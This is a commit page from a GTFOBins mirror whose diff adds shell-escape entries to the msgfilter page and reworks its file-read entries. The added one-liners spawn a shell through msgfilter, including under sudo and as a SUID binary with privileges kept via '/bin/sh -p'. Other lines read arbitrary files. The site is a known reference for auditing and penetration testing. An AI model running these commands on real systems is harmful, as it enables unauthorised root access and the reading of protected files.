public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-24 13:59:17 +01:00
Code Issues Projects Releases Wiki Activity

Add msgfilter shell

Browse Source
This commit is contained in:
Andrea Cardaci 2021-06-04 13:43:15 +02:00
parent 8612fb0b86
commit c014314b83
1 changed files with 12 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

20
_gtfobins/msgfilter.md
View File

@ -1,16 +1,20 @@
---
description: The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program.
functions:
shell:
- description: Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once.
code: |
echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
file-read:
- code: |
- description: The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program.
code: |
LFILE=file_to_read
msgfilter -P -i "LFILE" /bin/cat
sudo:
- code: |
LFILE=file_to_read
sudo msgfilter -P -i "LFILE" /bin/cat
- description: Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once.
code: |
echo x | sudo msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
suid:
- code: |
LFILE=file_to_read
./msgfilter -P -i "LFILE" /bin/cat
- description: Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once.
code: |
echo x | ./msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID'
---